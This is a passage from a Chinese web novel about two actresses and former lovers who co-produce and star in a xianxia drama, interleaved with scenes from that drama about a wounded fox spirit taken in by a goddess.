所有和资方签订的合约上都签了两人的名字，她不是孤立无援，她们在共同面对。 心里忽然轻松许多。 祝星亦低头喝水，喝了两口才发现一直在用苏寄欢的杯盖喝水。 意识到杯盖是苏寄欢主动给她的后，她又讨了一杯水喝下，又问：“这次你去《长离引》剧组，还会煮茶吗？如果煮的话，我会把你以前送我的茶具拿过来。” 苏寄欢摇头：“不煮了，我没那么多闲时间。” 祝星亦急忙说：“我煮。我煮的话你会喝吗？” 苏寄欢挑眉：“那我考虑考虑。” / 开机仪式启动前，祝星亦照常前往鹿芜观。一路从山脚走到观门口，还没进去，看到一抹耀眼的白。 素白衣衫，丝带挽着长发，清清冷冷的侧脸，恍若神女。 苏寄欢换好鲜花从供奉九天玄女的殿内出来，手里拿着两枝鲜花，重瓣洋桔梗。 抬眼见来人，先是愣了下，旋即抬手给祝星亦递上一枝洋桔梗：“你也来？” 祝星亦接下：“开机前拜一拜，祈愿万事顺利。” 像往常那样拜了拜，祝星亦盯着手里的洋桔梗说：“你出国这两年我常来这里帮忙，有时扫扫地，换换花，过年的时候和他们一起施斋饭。我也常去春海鹿场玩，以前总是怕鹿顶我，自己去几次也不怕了。” 又是一年春，当初她被鹿顶过说再也不去那边玩了，没想到等苏寄欢出国后她又自己去了。 “春天到了，那边应该很漂亮，要一起去看看吗？”她问。 苏寄欢没推辞，跟着过去。 来到春海鹿场，祝星亦递给苏寄欢一袋胡萝卜条。 祝星亦静静望着苏寄欢弯腰给鹿喂胡萝卜条，她很有耐心，衣袖挽起，看鹿吃下胡萝卜条会淡淡笑笑。 新绿的草像耀眼的世界，祝星亦盘腿坐在地上望着苏寄欢发呆。 之前苏寄欢说要和她在春天去一次春海鹿场，却没想到，是十年后的春天。 “你怎么不过去喂？”苏寄欢喂完跟着祝星亦一起坐下。 风细云斜，青翠的山林间偶有一片盛开的粉桃花。祝星亦晃晃手里的胡萝卜条袋子道：“你出国后，我经常来这里喂它们。” “它们不顶你了？” 祝星亦失笑：“你也记得过去啊？” “当然记得，毕竟当时确实很难忘。”苏寄欢歪头说，“不过，过去的都过去了。” 意有所指般，祝星亦听了不大好受，“很多事过不去，至少我过不去，其实我宁愿你恨我，宁愿……” 苏寄欢打断她：“祝总，我们现在这样挺好的，淡如水的情谊才最适合我们，互不打扰，也不会给彼此造成什么负担。人不能贪得无厌。” 有些话不用挑明也能感受到郑重其事的拒绝，祝星亦攥紧袋子反驳：“可是知错就改也不行吗？贪得无厌未必是贬义词。” “祝总，没什么事的话我先回去。”苏寄欢不想和祝星亦拉扯太多，站起身子离开。 祝星亦见人走了，赶紧小跑着跟上，突然听到身后传来一阵急促的脚步声。她下意识回头，只见一只健壮的鹿正低着头朝着她快速冲来。 恐惧瞬间攥紧了祝星亦的心脏，她大脑一片空白，手一松，装着胡萝卜条的袋子“啪”地掉落在地，整个人不受控制地朝着苏寄欢扑了过去。 “苏老师，救我！”祝星亦抱住苏寄欢的腰大喊。 苏寄欢听到动静猛地转过头，一眼看到那只气势汹汹的鹿，迅速护住祝星亦，又将手中剩余的胡萝卜朝着远处用力丢了出去。 那只鹿在距离她们几步远的地方停住，转而朝着胡萝卜奔去。 “没事了。”苏寄欢拍拍祝星亦的背，“它走了，你放开我。” 祝星亦却像没听到一样，双手反而抱得更紧。 感到腰被环得越来越近，苏寄欢蹙眉：“喂，你快放开我。” 山林的绿吹过草甸，碧翠的草浪贴着她的脸颊缓缓撩拨。 怀里的女人仰头看她，呼吸均匀，琥珀色的眼珠闪亮发光，卷长的睫毛像火光蔓延山野，挂缀在每一棵常青树上。 “我不想放开你，我想继续做贪心的人。”女人窝在她怀里，小声说，“苏总，不，苏老师，你既然不愿活在过去，那你是否愿意接受新的一切？” 第156章 轻轻吻 苏寄欢盯着女人的眼看了又看。 她觉得女人的眼睛好漂亮，但她感觉自己全身上下的血液是冷的。 人不会在同一个地方摔跤三次。 很多次她都在告诉自己，过去的事早就过去了，旧事旧人不能再留恋，留一次，又要被伤一次。 苏寄欢用力推开抱着自己不放的女人转身往前走，听到后面的人追上来，她加快了步伐。 “我只活在当下，我不念旧，我也不是什么新东西都能接受。”苏寄欢固执地快步走着，“我想我说得已经很明白了，我希望以后祝总和我保持恰当的社交距离，不要随随便便骚扰我。” 身后的人小跑过来挡住她，两手握紧拳并拢举起：“那你把我抓起来好了。” 祝星亦举着手，一副乖乖等苏寄欢把她的手铐上的模样。 “幼稚。”苏寄欢咬牙，拧眉错身离开。 她步伐迈得大，走几步就和祝星亦错开很远。 走着，身后忽然传来栽倒的声音，苏寄欢立刻停下脚步转头回望，身子下意识往栽倒的人那处倾去，却见身穿针织裙的女人快速爬了起来。 “我没事，我没事。”祝星亦爬起来摆摆手。 苏寄欢收起想要收起的手，扫了眼对方衣裙上的泥渍。 晨露未干，这几日麓城天气虽晴好但雾气重，踩在湿滑的草地上稍微不注意就会栽倒。 “小心点。”苏寄欢提醒一句，转身继续走。 这次脚步放慢了些。 温热的身体凑过来，和她并肩。 她刚要说句“不要挨得那么近”，垂眸看到女人正用拇指揩去掌心上的泥渍，掌上还有些红，想必是刚刚摔倒擦伤了。 苏寄欢抿紧唇，掏出纸巾递给女人：“擦擦。” 祝星亦接过，有些感动：“谢谢你，你真好。” 苏寄欢冷笑不语。 好人？好耳熟的称呼。 以前她被祝星亦喊做“好人”的时候，她还没把祝星亦勾到手。 现在，她不想靠近这个女人，不想再和这个女人有什么牵扯，不想再一次摔倒。 但她还是把“离我远点”咽进肚子里。 / 进剧组后，演员们被安排住进景区附近的酒店。祝星亦抵达剧组酒店房间后，意外发现自己与苏寄欢的房间正好面对面，刚一开门，便瞧见了对方。 “苏总，好巧。”祝星亦热情地打招呼。 苏寄欢礼貌性地点点头，随后关上门。 对面房门紧闭，祝星亦站在自己门口望着那扇门，久久，喜上眉梢。 近水楼台，以后可以一起上下班了。 开机仪式前一晚，祝星亦与主演们一同去酒店附近的茶楼吃饭。 这次她坐在苏寄欢身旁，本以为庆幸终于与苏寄欢坐在一起吃饭，却不想一顿饭下来，她局促得要命。 和一个无比亲密过的人做陌生人，祝星亦很难不局促。曾经互相舔舐彼此的身体，现在礼貌疏离，每每望着苏寄欢平静的目光，祝星亦本能地羞涩难耐。 毕竟，谁能忍受一个[陌生人］记得自己光溜溜的样子？ 局促这个毛病一直改不掉，祝星亦没别的主意，只能努力掩饰。 好在饭桌上都是熟人，说说笑笑后她自在不少。 酒过三巡，祝星亦醉醺醺地趴在桌子上。她不是特别开心，以前苏寄欢会让她少喝点，但现在苏寄欢根本不搭理她。 一顿饭吃完，众人将要离去，祝星亦费力地抬头，看苏寄欢人要走，用尽最后的力气起身趴在苏寄欢身上。 周围人低呼着小心，好在苏寄欢抬手把她扶着，才没让她倒下。 祝星亦嗅着那股柚子花香，心安地倚在女人身上。 “苏总，你和祝总住一层，又是住在对面，不如你送她回去，怎么样？”韩珑看着一直贴在苏寄欢身上的祝星亦，提议。 其他人纷纷点头，赞同韩珑的提议。 “行。”苏寄欢没有拒绝，稳稳地扶住祝星亦，往酒店方向走去。 酒喝太多，意识也不清晰。祝星亦还没反应过来，人已经被扶到了酒店走廊里，有些失重的双脚踩在柔软的地毯上，手紧紧抓着苏寄欢的胳膊。 不经意间，她摸到了苏寄欢腕上那只清透的新手镯。 她知道镯子很漂亮，但她始终觉得那对碎了的半山水镯子才是最好看的。 抓着苏寄欢的手腕，祝星亦被这玉镯冰得又清醒又麻木，突然想起鹿场那边苏寄欢说的“禁止骚扰”。鬼使神差地，她猛地揽紧苏寄欢的腰，歪头亲上那张自己觊觎已久的脸。 像蝴蝶掠过花瓣，转瞬即逝。 酒气混着香气，扑在苏寄欢脸上。 安静的走廊里，祝星亦闭上眼埋进苏寄欢香气扑鼻的颈窝，“我骚扰你了，你会把我抓起来吗？” 苏寄欢沉默着取下发带，慢条斯理地绑住祝星亦的手，又轻轻拽了下绑成死结的发带，吐出一个字：“抓。” 说罢，她没让祝星亦继续发酒疯，拽着人回了屋子，手一推把人推床上：“你先老实点，别发疯。” 按下茶壶煮上醒酒茶后，苏寄欢回卧室看到祝星亦坐在床上，正用牙咬着打成死结的发带。 “苏老师，我头晕，解不开。”祝星亦透过凌乱的头发低声说，裙子肩带已经因为费力挣扎垂落下来，露出白皙的肩头。 苏寄欢没有搭理她，拉过椅子坐在床对面，静静地看着她撕咬发带。 床上的女人咬了一会儿，还是没能咬开，垂着头小声问：“苏老师，你有没有解不开的东西？” 苏寄欢跷着二郎腿，平静地看着她，回答：“有。有解不开的结，有过不去的坎，还有自己怎么都想不明白的事。” “那我能不能帮你？”祝星亦急切地问，“你以前帮了我很多，现在还在帮我，我怎么才能帮你一次？” 苏寄欢挑眉轻笑：“你想做我的救世主？” 祝星亦刚要说她愿意做她的救世主，这时客厅的茶壶嘟嘟响了起来，苏寄欢神色淡漠说：“茶好了，你记得喝。” 苏寄欢起身时，床上的女人连滚带爬地下来，双手还被绑着，却硬是把她按在了椅子上。 紧接着，女人长腿一跨坐在了她身上，缓缓吻上了她的唇。 灼热的呼吸，蜻蜓点水般小心翼翼。 苏寄欢淡漠地别开脸，“下去。” 祝星亦手被绑着行动不便，仍固执地按住苏寄欢的手，又追着苏寄欢的唇吻了上去。吻过后，唇轻轻蹭着苏寄欢的耳垂，柔软的唇带着香风，是令人沉溺的甜。 但苏寄欢毫无回应，低敛着双眸再次重复：“祝总，从我身上下去。” “你已经把我抓起来了。”祝星亦抬起被绑着的手轻轻放在苏寄欢胸前，她贪恋地望着近在咫尺的苏寄欢，声音轻颤，“如果你依旧对靠短剧起家的[星闪］充满偏见，你不会那么大胆地和我赌一次。你已经接受了崭新时代的崭新规则，你为什么不能接受崭新的我？” 苏寄欢像是听到了什么可笑的话，冷嗤一声，“祝总，人不会在同一个地方接连摔倒，我也不会反复教你该如何处理人与人之间的关系。成年人做决定是深思熟虑后的打算，而不是过家家游戏。要分手的是你，要离婚的也是你，你不会觉得做这些决定后对别人的伤害不痛不痒吧？我希望你以后不要再提想跟我复合这件事，我也已经跟你说过了，淡如水的关系，是最适合我们的。” 苏寄欢动了下身子，声音冷硬刺骨：“祝总，下去。” 祝星亦低头沉默许久，缓缓举起手：“我知道了，请先帮我解开。” 苏寄欢拧着眉毛，费力地把打成死结的发带解开，祝星亦这才乖乖从她身上下去。 苏寄欢离开屋子前，祝星亦喊住她：“苏总，你明天可以叫我起床吗？” “我不是你的助理，我没有义务叫你起床。”苏寄欢捏着皱巴巴的发带，冷着脸出门。 客厅里的茶已经保温，祝星亦倒了杯喝下，眼睛却越来越朦胧。 她揉了揉眼，最终扑在床上失声痛哭起来。 / 《长离引》剧组、万岁山景区开机仪式现场—— 硕大的应援花墙竖立在开机仪式外面，乔汐站在花墙旁让同伴小云拍了几张美照，眼睛一瞄，瞄到熟人。 “萝妹这次的花墙这么大啊？”乔汐走到祝星亦单人应援花墙那处打量一番，这处除了有花墙，还有饮食摊位以及祝星亦的数张应援海报，光是看花墙就知道下了血本。 叶松萝瞥了眼一身古风妆造的乔汐，虽然过去唯粉和cp粉打得头破血流，但念在这群cp粉在祝星亦当年出事之后依旧不离不弃，顶着压力不停为祝星亦说话，[星海]和cp粉广义上暂时和解。 不过两家粉的和解被苏寄欢粉丝冷嘲热讽，但这么多年扯头花扯得叶松萝早就累了，她现在只关心祝星亦的事业。[星闪]也好，祝星亦复出也好，只要能看到祝星亦好好的，怎么都无所谓。 十年了，当年恨不得和cp粉打得头破血流，现在觉得只要正主好好活着就好，其他人其他事无所谓。 “我还给你准备了一个小应援。”叶松萝指给乔汐一个位置，应援展位上贴着乔汐的冰箱贴。 乔汐走过去看看，甚是满意。 叶松萝觉得乔汐长情得要命，磕cp磕那么多年，闯娱乐圈也闯了那么久。乔汐没演过什么大热角色，演的都是些不是很出名的配角。好在乔汐进娱乐圈就是追星的，一年只进两个剧组，拍完戏就投身追星事业。 这次乔汐还在《长离引》里饰演了一个存在感比较强的配角，听说和两个主角都有对戏。真是有够幸福的。 “感谢你，你有什么想说的话吗？我可以帮你带给星星，签名就不用说了，你想要几个我就让她给签几个。”看叶松萝那么有心意，乔汐决定回报一下她。 叶松萝摇头笑说：“不了，我和她聊过很多次天，这次就希望你们拍戏顺利就好，没别的所求。” 乔汐了然，离开后，叶松萝收拾着摊位，不经意间看到苏寄欢粉丝摊位的人。 她挥挥手，跟那几个女人打了招呼。 许明歌顺着叶松萝的视线望去，也跟着打了招呼。 有人问；“明歌姐，那好像是苏寄欢的粉丝，你们认识她们吗？” 许明歌伸伸懒腰道：“哈哈哈，认识啊，以前还打过架呢。” “老天奶，你们和苏寄欢的粉丝打过架？！这么刺激！” 叶松萝收拾着东西笑说：“以前可谓是水火不容，现在嘛，她们好好的就行。” 她在很久以前得知她们相恋过，她震惊不已但选择了接受。 那时祝星亦已经消失了，她看着苏寄欢和祝星亦往日的亲密照，看着苏寄欢对媒体回应的[我对她很失望，请不要再跟我提起她]，心情复杂。 她们靠一部戏结缘，相爱相厌相离，但现在，又通过一部戏紧紧连在一起。 “她们好好的就行，真的。”叶松萝重复，她看向应援海报上的字[长离引］。 长离长离，不愿长离，只愿人长久。 开机仪式现场，韩珑发完言继续拿着话筒讲话：“好的，首先要介绍的是我们《长离引》的两位制片人、编剧，同时也是我们的两位主演，苏寄欢、祝星亦，有请！” 说完，手臂一挥，邀身旁的两位上前。 苏寄欢从容接过话筒：“我希望在接下来的拍摄过程中，一切顺利，希望大家都能全身心投入，共同打造出一部精彩的作品。” 说完，她利落地将话筒递给身旁的祝星亦。 祝星亦接过话筒，她偏头看了苏寄欢一眼，深吸一口气后说：“我同样希望拍摄顺顺利利，也希望借由这部剧，为过往的一切画上一个完美的句号。” 她抬眼看身边的女人，冷峻的脸上没有丝毫动容。 所期待的一切并没有发生，但祝星亦不想止步于此。 她所说的勇敢，一定会做到。 掌声渐息，主创依次上香，仪式渐近尾声。 祝星亦趁众人稍作松懈之时，突然伸出手紧紧握住苏寄欢的手。 苏寄欢眉目闪过一丝不悦，冷冷道：“祝总，请你保持适当距离。” 祝星亦没有松手，反而攥得更紧了。 她转过身正面直视苏寄欢的眼睛，眼眶微微泛红：“苏总，不，苏老师，你我都清楚，《长离引》正式版剧本是我们一起打磨出来的。我听你的话，我不去忧心未来，我只在意当下。所以我们能不能暂时放下所有的纠葛，全心全力把这部剧拍好？你是云长洛，我是唐离，我们共同把她们的剧本好好走完，好吗？” 她眼中满是近乎乞求的渴望，她比以往任何时候都更希望得到苏寄欢的肯定答复。 “苏老师，这可能是我们最后一次合作拍戏了，我们一起认认真真、用心地演好这部剧，好不好？我们会是相互倾慕的师徒，是恩爱缠绵的恋人，是并肩作战的挚友，是相伴到天荒地老的亲人。” 喧闹嘈杂、人声鼎沸的开机仪式现场，祝星亦直直地盯着苏寄欢那双浅褐色的眼眸，试图从中探寻到那个期待已久的答案，“拍完这部剧之后，我保证不会再打扰你，我会和你保持距离，也一定会尊重你的想法，也会与你淡如水般相处。” 时间似乎凝固在这一刻。 所有的规则，不过是想要争取名正言顺地靠近。 她的勇敢，面对一个执意要成为陌生人的人，也只是可怜的乞求。 但她不觉得自己多么卑微。 她不过是第一次勇敢，第一次，真真正正的勇敢。 她紧紧握着苏寄欢的手。 良久，苏寄欢的手缓缓反握住她的手。 烟雾缭绕的世界，苏寄欢侧过头，嘈杂的世界掩盖住她的叹息：“好。” —— 《长离引》古风/仙侠电视剧 星闪文化&苏盛传媒联合出品 制片人：祝星亦苏寄欢 导演：韩珑孔雨恩 编剧：何渡春祝星亦苏寄欢 领衔主演：祝星亦苏寄欢 第157章 《长离引》 【痛。 身体似乎四分五裂了。 腥甜的血像是某种毒药，吸引许多暗处蛰伏的小妖兽。 胆大的妖兽上前嗅了嗅狐狸身上的味道，待辨认出她仙力尽失，张嘴咬上她的前爪。 “滚……”狐狸费力地抬起前肢，怎么也甩不掉这只妖兽。 尖牙撕开了血肉，霎时间，数十只妖兽扑到奄奄一息的狐狸身上分食。 皮肉的裂口溢出鲜血，失去颜色的毛发被吐到雨后泥泞的草地上。 唐离半阖着眼忍受着被撕咬的疼痛，她已经没有力气呼救，像死尸般透过缝隙看久雨初霁的天。 她要死了，她终于要死了。 她终于要结束这痛苦的一生。 一个清甜的声音传来：“师尊！这里也有妖兽！” “它们好像在咬什么。”另一个清澈的声音响起，“啊！在咬一只狐狸！” 随后是风拂过树叶的声音。 鸟雀惊起，一股未知的强大力量迅速笼住整个山头。 撕咬血肉的妖兽霎时间化作一阵浊风消逝，连死前的悲鸣都没有。 尖牙利齿带来的疼痛暂停，唐离艰难地睁开眼睛，一个冷淡无波的女人蹲在她身旁。 女人不管顾她身上的泥泞和鲜血，轻轻抱起了她。 她像陷入松软的棉花里面，好温暖的怀抱，好温暖。 她用最后一丝力气张开爪子，抓住了女人的衣衫。 云长洛低眸，白衣沾上了狐狸血，像雪地里绽放的梅花。 一旁的温鹊观察受伤的狐狸片刻，待看到狐狸颈部的痕迹惊呼：“天火痕？这狐狸是被天火律炼化过的仙兽？” 天火律，极其残忍的仙术。 受律者还在母胎中便被施天火律，诞生之后被放在施律者身边养育。通常受律者会重度依恋养育她的施律者，依恋程度越高，后期施展术法越方便。 受律者在掌握精湛仙术后会被施律者强行送入仙劫之道，此道虽是揠苗助长，提升的仙力却是不可估计的。 然而此道对受律者来说，可谓是身体与精神上的折磨。从仙劫之道出来的受律者有高强的仙力，但基本丧失了对世间一切的感知——她们只是一个承载强大仙力的躯壳。 这时施律者会炼化受律者获取高强的仙力，受律者对施律者的心越纯，奉献出的仙力越多，直至受律者被炼尽仙力体弱身死。 看这狐狸的身形，炼化时甚至……还未成年。 门徒辨认过后叹道：“果真是天火痕！” “被提炼仙力还能活下来，属实是命大。” “她还那么年幼就被炼化了，真是可怜。” 温鹊沉默片刻问：“师尊，您打算怎么处置她？” 山径寂寥，清风翻覆过苍翠的枝叶，远处的栖云山在云层中泛着浅金色的光。 白衣似雪的云长洛轻轻抚了抚狐狸的毛发，指尖的鲜血化为淡红色的风：“带她回家。”】 【神尊出游归来的消息传来时，小仙童匆匆开山门迎接。 寂静许久的栖云山忽然变得热闹起来，一众门徒守在门口，待看到云长洛一行人乘风归来，恭敬行礼：“恭迎师尊回山。” 白雾漫起，身着白衣的高贵神尊优雅落地，步履缓缓进入山门。孤傲圣洁的背影，众门徒可望不可及。 有人眼尖，打老远望见师尊手里抱着个什么东西，待仔细瞧了瞧才知那是一只奄奄一息的狐狸。 不多时，萤渺医君被召去栖云殿。金色的门关上，围在殿外的门徒好奇不已。 慕观雪拍拍膝盖起身，悄悄踩上台阶趴到门缝看，奈何门缝合得严严实实，她什么也没看到。 刚起身的郁听风忙把她拽回来，“别偷看，被发现了小心被罚去林子里喂鹅！” 慕观雪道无所谓，她早已练就一身和大鹅斗智斗勇的好本领。她只是好奇云长洛怎么带一只狐狸回来，这栖云山好久没有新玩意进来了。 自从天帝对神界四域下了禁令，南域的栖云山许久没有新的门徒进山门，出入栖云山都要通过层层审核，这日子和被囚禁没什么区别。 “莫要说这些话，万一给师尊听到了，她也不好受。”郁听风拍她的手，让她少说点。 只是在场的门徒又何尝不知，这本就是一场变相监禁？ 神界四域之主——云长洛、风素尘、花无宁、玉流光四位神尊，曾与天帝羲玄一起平定六界战乱，助天帝稳坐帝位。 但天帝忌惮四域之主，怕四位神尊联合起来对付她，早早在稳坐天帝之位后颁布四主不可私自走动联系的律法。后来天帝仍怕哪位神尊动歪心思，进一步控制四主的活动范围。 直至前不久的天界朝会上，羲珈帝姬借无宁神尊于她生辰宴无礼之行，添油加醋一番指控，疼爱女儿的天帝立刻将无宁神尊封禁在天牢之中，还给其他三位神尊下了封锁令——禁止子民出域，非召唤不得进入天界。 这和囚禁有何区别？ 羲杳神尊上前为四位神尊说话，但天帝执意如此，其他神仙见此，怕多生事端，不敢再求情。 羲杳神尊是天帝的胞妹，性情温和，脾性极好，众神对她皆有好感。有人曾私下讨论，若是换羲杳神尊来坐这帝位，四域之主也许不会被如此羞辱。 可惜，这也是私下讨论了。 门徒们等待许久，萤渺医君终于出来。随后温鹊也跟着出来，送完医君离开，见门徒在外蹲守着，忙让众人回*去不要堵在门口，否则师尊见了会不高兴。 慕观雪上前打探消息：“温鹊师姐，里面究竟是什么情况？师尊怎么带了只狐狸回来？” 温鹊是云长洛的近身门徒，做事靠谱，性情也好，门徒们最爱和她打交道。 温鹊双手一摊，叹道：“我也不知什么情况，只知道，我们要暂时帮忙给这只可怜的狐狸养伤。” “师尊怎么管起这种小事了？” “是啊，真是奇怪。自打天帝针对四域后，师尊本就冷淡的性子，更加疏冷了，如今竟管起一只狐狸。” “师尊不是曾经说过弱者活该被强者屠戮吗，现在竟对一只狐狸起了恻隐之心，嘻嘻，师尊真是口是心非呢。” 温鹊看她们乱哄哄的，忙劝：“你们还是先行回去吧，师尊若是听到你们这样讨论她，小心被罚……” “喂大鹅。”众人异口同声。 温鹊摇摇头，这群人还会抢答了。 众人带着好奇散去，温鹊叫住慕观雪和郁听风。 “师姐，何事？”郁听风问。 温鹊掐诀拿出一把钥匙递给郁听风：“这是新房的钥匙，你们二人明日开始照顾这只狐狸。” 慕观雪眼睛都瞪大了：“什么？！为什么我们要照顾那只狐狸！一只动物也要我们照顾？丟林子让它自行恢复不行吗？” 温鹊无奈道：“那不是普通狐狸，那狐狸之前……算了，这是师尊的命令，她养好伤就会化人形，等她痊愈就会送她离开。” 既是云长洛的命令，二人也不好推辞，只好接下这个“大活”。 好在这只狐狸每天只是睡觉、醒来、吃药、睡觉，定时定点吃药，其余时间乖乖缩在被子里休息。】 【日子一天天过去，狐狸恢复得越来越好，毛发都鲜艳不少。 休假之时，慕观雪歪在躺椅上晒暖，这狐狸的小院僻静，没有门徒吵闹，每每来到这里都觉得心安。 一同照料狐狸的郁听风给狐狸喂完药出去溜达一圈，回来便告知慕观雪四位长老修行回来了。 慕观雪忙问：“回来啦？有没有带什么好东西回来？” 郁听风还没说什么，衔寒长老身边最亲近的仙君陈非晚风风火火踏进院子。 “狐狸？我倒要看看是什么狐狸，别是我眼熟的那只。”陈非晚一进来，慕观雪和郁听风忙快速起身行礼。 她们不知道陈非晚在说什么，但看到陈非晚一把拎起狐狸的后颈，忙阻止：“仙君，不可！这狐狸还没恢复好！” 陈非晚瞪了两人一眼，怒喝：“什么可不可，这狐狸明明已经恢复好了，你们眼瞎看不出来她在装！” 两人还未反应过来之际，陈非晚拎着狐狸离开小院，任凭她们怎么追都追不上。 陈非晚拎着狐狸像拎死鸡般，一路冲到栖云殿。殿里，四位长老坐在位上，高座之上是斜倚着的长洛神尊。 四位长老是长洛神尊的得力助手，曾追随长洛一起作战，助羲玄天帝封帝。 陈非晚和衔寒长老对视一眼，立刻把狐狸扔在一旁，拱手禀报：“启禀神尊大人，我已经核实过了，这只狐狸就是当初在天界青川苑陷害您的那只狐狸！” 思韫长老讶异：“你说的，可是真的？你真没记错？” 陈非晚掷地有声：“我没记错！就是她！就是她当初害得神尊大人被关天牢许久，死狐狸，你还装，赶快现身！” 冰冷的地面上，狐狸瑟瑟发抖地闭眼如死尸般趴着。 陈非晚看这狐狸还在装，掐个现身决击在狐狸身上。】 齐漫姝还没施法，韩珑喊了一声卡。 暂时休息，演员和工作人员慢慢散场。 齐漫姝跑化妆间看正在化妆的祝星亦，兴高采烈道：“狐狸要化形啦，等下就是唐离的首次出场咯。” 祝星亦任由小禾给她化妆，趁间隙说：“你刚刚演得真的很好，泼辣无比，真让人生气。” 齐漫姝笑道：“后面不仅要骂你，还要打你呢！就怕播出之后观众指着我的鼻子骂，哎呀呀，还好我不是反派啊！不然真的怕自己的名声扫地！” 祝星亦安慰她名声扫地也没事，这年头反派火起来可比主角简单多了，“说不定你的前后反差会让人眼前一亮呢？” “嘿嘿，借你吉言！” 妆后，祝星亦出来简单走了下戏。 与苏寄欢对了台词之后，转身准备去定点趴着，苏寄欢叫住她。 祝星亦回头问：“师尊，怎么了？” 剧开拍后，艺人们对彼此的称呼都变成了剧里的称呼。 苏寄欢瞄向她的发髻。 祝星亦摸摸头发，了然道：“你想问这个簪子吗？” 苏寄欢点点头。 祝星亦弯着眼笑说：“这是你当年送我的第一个礼物，青玉簪。” 那时祝星亦得知苏寄欢邀请她演《寄明月》，她有诸多疑问，带着不安的心去寻苏寄欢问个明白。 临走时她夸了句苏寄欢的簪子好看，苏寄欢大大方方地取下簪子送她。 那一次并不愉快的交谈，改变了她的命运。 祝星亦觉得自己改命就是源自苏寄欢邀她出演《寄明月》。 没有这部剧，没有和苏寄欢相知相熟，她不会走那么顺，也不会爱上苏寄欢，更不会有后来所有勇敢的一切。 人生道路上的每个选择，都会改变命运。 祝星亦庆幸自己选对了。 她选对了这一世的每一条路。 苏寄欢愣了许久，送簪子……都是十年前的事了。 “你还留着簪子？”她问。 祝星亦点点头：“你送我的每个东西，我都在好好留着，当年分手时，你送我的那个金狐狸，我也在好好留着。” 看对方还在沉思什么，祝星亦问：“怎么了吗？” 苏寄欢摇头：“没什么。” 祝星亦忽然往后退了半步，警惕道：“你不会也想把这个簪子摔碎吧？” 镯子摔了，簪子也想摔？祝星亦抿紧唇扶着簪子有些恐惧。 苏寄欢神情滞了片刻。 她摇头道：“簪子我不会摔的，你不用害怕。” 旋即，她提着木槿色的华贵衣裙走上高阶，旋身回望，苍葭色衣衫的女人双手交握仰头看她。 女人歪着头看她，素衣不掩五官的明艳，琥珀色的眸子像海水里珍贵的晶石，那副乖巧的姿态，一如往昔令她爱得痴狂的模样。 “师尊，”女人向前走了几步，“到底怎么了？” 苏寄欢收回目光，继续往高台上走：“早上给你买了东西，放在棚子那边了。” 这时还没开机，祝星亦赶忙到棚子那处找东西。 韩珑指了指一个袋子：“是这个吧，苏总跟我说是给你弄的，她早上来了后就开始剥了。” 祝星亦打开袋子一看，是糖炒栗子。 是一袋剥好的糖炒栗子。 当年《寄明月》拍定妆照第一天，苏寄欢也给她买了袋糖炒栗子。 第158章 《长离引》 双指捏出两粒放进口中，软糯香甜的糖炒栗子，好像……好像是她经常吃的那家。 手抓着袋子发出一阵阵哗啦声，祝星亦转头，高台之上的女人已经在端坐着。 疏雪般的人，撬开外壳，里面竟然是热的，甜的。 饰演四位长老的演员回位置上坐好，齐漫姝站在刚刚站的位置，正比画刚刚被重新指导过的现身决。 “唐离，快过来。”齐漫姝喊。 高台上的女人望过来。 祝星亦往嘴里填了一颗栗子，“好，来了。” 【陈非晚掐了个现身诀直直往那狐狸身上击，忽然一记白光闪过，挡住了她的现身诀。 衔寒长老偏头看向高台上的女人，声音在偌大的栖云殿里回音阵阵：“神尊大人，你为何挡下现身决？” 歪在椅上的云长洛一言不发，修长白皙的手轻微晃动，伏在地上的狐狸周身笼着一层金光，片刻后，狐狸变成了身着苍葭色衣裙的女人。 陈非晚一见女人现身，立刻嗅到了熟悉的味道。 “畜牲！你该死！”陈非晚指着女人吼道，“你把天帝的金瓷打碎栽赃给神尊大人，害得神尊大人被关在牢中那么久！你真该死！” 那时天帝在玄宝殿举行宴会，众神参宴后，天帝展示一件金瓷珍宝。宴会后众神去往闲乐殿游玩，仙娥告知云长洛，天帝召她。云长洛去往玄宝殿不见天帝，想要询问仙娥，仙娥竟不见了。 云长洛疑惑之时，一只狐狸猛扑到她身上。云长洛还未反应过来，金瓷珍宝应声碎裂。这时天帝刚好进殿，见此怒斥云长洛。无人见过仙娥，狐狸也不见了，云长洛百口莫辩，只能被关进牢里接受处罚。 出狱后，云长洛方见身上留有狐狸的毛发，毛发上有浓重的玄胡索的味道。云长洛也依稀记得，那狐狸颈上有天火痕，而且看狐狸的身手，明显是在天界生活，只是不知是被谁饲养。 可怜云长洛在牢里受了那么久的罪，几位长老怎么求情，天帝都不肯网开一面。 溯溪长老向来脾气爆，拍着椅子起身怒道：“你这无耻的畜牲，你把金瓷打碎，不仅害得我们四个长老去六界寻找修补的法宝，还害得神尊吃尽了苦头，如今还敢来栖云山？看我不扒了你的皮！” 说罢，溯溪长老掐诀欲要将瑟瑟发抖的女人碎尸万段。 “住手。”高座上的云长洛阻止道。 溯溪立刻停手：“神尊大人，如今终于逮到这只畜牲了，快快把她锉骨扬灰，一解心头之恨！” “溯溪，莫慌。”逐念长老起身走向女人，“我想神尊大人定是有话要问，溯溪，先等神尊大人安排。” 溯溪剜了女人一眼退至一旁。 高台上，云长洛的声音沉静威严：“唐离，好久不见。” 陈非晚觉得稀奇，怎的，长洛神尊竟还知道这畜牲叫什么名字？ 身子滞住许久，唐离俯身磕在地上。 咚的一声，恍若要把头盖骨震碎：“神尊大人，在下唐离，感念神尊相助。” “你若是感念，你就该以死谢罪！”陈非晚恨不得亲手解决这个孽畜。 思韫叹道：“唐离，你且说说你当初为何要陷害神尊大人。看你的骨脉，此前应是被天界人当宠物饲养，那时怎会忽然去玄宝殿打碎金瓷呢？是不是有人指使你？” “思韫，你这时候还管这畜牲做什么？你这不分青红皂白的慈悲之心究竟什么时候能收一收？”溯溪做事毫不留情，现在她只想让这畜牲消失。 思韫上前安抚杀气过重的溯溪道：“凡事不要想着打打杀杀，总要先问个清楚再去解决不是？” 说罢，走向头磕在地上的唐离，柔声问：“唐离，你莫怕，你且告诉我，你当初为何陷害神尊，谁指使你的，有什么目的？” “不用问了。被施天火律的受律者，只会听从施律者的安排行事，当初想害我的，是她主人罢了。”云长洛打断思韫的话，旋即从高台飞下落在唐离身前，“但她怕是自己都想不起来是被谁养的了，炼化时她便被下了失神咒和忘真法。她永远都想不起来是谁养的她，也想不起来谁指使她做那些恶事。” 逐念好奇道：“受律者一般在被炼化后会魂飞魄散，她为何会被施这些咒法？难道说，施律者知道她死不了？” “自然是知道的。”云长洛缓声道，“知道她心不纯，意不正，知道她可能死不了，才要下这些咒法，以绝后患。” 